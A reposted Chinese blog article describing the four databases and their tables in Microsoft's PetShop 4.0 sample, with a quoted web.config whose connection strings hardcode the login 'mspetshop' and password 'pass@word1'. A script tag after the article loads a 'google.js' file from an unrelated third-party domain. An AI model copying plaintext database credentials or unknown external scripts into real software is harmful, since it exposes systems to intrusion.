petshop4 数据库

97 篇文章 0 订阅

原贴地址:http://blog.csdn.net/laolaowhn/archive/2007/10/11/1819815.aspx

petshop4.0一共有四个数据库,分别是MSPetShop4、MSPetShop4Orders、MSPetShop4Profile 、MSPetShop4Services。

MSPetShop4 是基本信息数据库。主要包含商品的名称,数量等基本处理信息。其中Supplier是供应商信息表,product是商品基本信息表,item是商品详细 信息表,inventory是数量信息表,category是商品目录信息表, AspNet_SqlCacheTablesForChangeNotification是数据库缓存依赖表。

MSPetShop4Services 是用户服务数据库。主要包含用户名、角色、权限和用户的个性化设置信息。其中aspnet_Applications是应用程序的基本信息表:包括程序 名,程序的描述等;aspnet_Membershipshi 是用户的详细信息表如用户名、邮箱等;aspnet_Paths是应用程序路径信息表, aspnet_PersonalizationAllUsers是所有用户的个性化信息表,aspnet_PersonalizationPerUser 是特定用户个性化信息表,aspnet_Profile是个性化配置的内容表,aspnet_Roles是角色表, aspnet_SchemaVersions是各部分的版本信息表,aspnet_Users是用户表,aspnet_UsersInRoles是用户与 角色关系表,aspnet_WebEvent_Events是存储事件日志信息表。

MSPetShop4Orders是定单管理数据库。 主要包含定单的详细数据和定单的状态等表信息,它是专门为提高下定单速度而独立出来的数据库。其中Orders表表示定单的详细信息,如定单的接收地址、 付款人的帐户信息等;OrderStatus表表示定单的状态信息;LineItem表表示定单中某行的信息如数量、总价等。

MSPetShop4Profile 是用户配置数据库。主要用于保存用户的一些个人设置,如信息卡帐户信息和购物蓝等。其中Account表是保存用户的基本帐户信息,如家庭住址、电话等, 如果用户保存此信息后,则每次购物提交定单时,系统回自动获取用户的帐户地址等信息,方便用户进行购物操作。Cart表表示用户的购物蓝的数据信息,如用 户选择的产品名称、数量、是否已经提交定单等。此购物蓝实际有两种类别,一是普通购物蓝一是意向购物蓝(wishlist),在表中通过字段 “isShoppingCart”来定义属于哪个篮子。Profiles表是表示用户的配置信息,如上次登陆时间,以及适用于哪个应用程序,它是用户所有 配置信息的主表。

小结:petshop4将定单数据库和个人配置等数据库单独列出来,然后通过数据库的Cache技术,大大提高了数据库访问性能。

 

在配置文件中可以发现登陆数据库使用的连接字符串:

<connectionStrings>
  <add name="SQLProfileConnString" connectionString="server=ZGQ;database=MSPetShop4Profile;user id=mspetshop;password=pass@word1;min pool size=4;max pool size=4;"
   providerName="System.Data.SqlClient" />
  <add name="SQLMembershipConnString" connectionString="server=ZGQ;database=MSPetShop4Services;user id=mspetshop;password=pass@word1;min pool size=4;max pool size=4;"
   providerName="System.Data.SqlClient" />
  <add name="SQLConnString1" connectionString="server=ZGQ;database=MSPetShop4;user id=mspetshop;password=pass@word1;min pool size=4;max pool size=4;"
   providerName="System.Data.SqlClient" />
  <add name="SQLConnString2" connectionString="server=ZGQ;database=MSPetShop4;user id=mspetshop;password=pass@word1;max pool size=4;min pool size=4;"
   providerName="System.Data.SqlClient" />
  <add name="SQLConnString3" connectionString="server=ZGQ;database=MSPetShop4Orders;user id=mspetshop;password=pass@word1;min pool size=4;max pool size=4;"
   providerName="System.Data.SqlClient" />
  <add name="OraProfileConnString" connectionString="" providerName="System.Data.OracleClient" />
  <add name="OraMembershipConnString" connectionString="" providerName="System.Data.OracleClient" />
  <add name="OraConnString1" connectionString="" providerName="System.Data.OracleClient" />
  <add name="OraConnString2" connectionString="" providerName="System.Data.OracleClient" />
  <add name="OraConnString3" connectionString="" providerName="System.Data.OracleClient" />
 </connectionStrings>
分析:
1.可以看出petshop4.0为4个数据库添加了同一个登陆用户名 mspetshop,密码是“pass@word1“。注意在VS2005中对于密码的设置提供了完善的保障措施,要求密码中必须包含一个特殊字符。如“@”。
2.为数据库添加登陆用户的方法。一是使用SQL脚本,一是直接在数据库的“安全性”节点下,操作“登陆名”节点。 

 

 
 

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值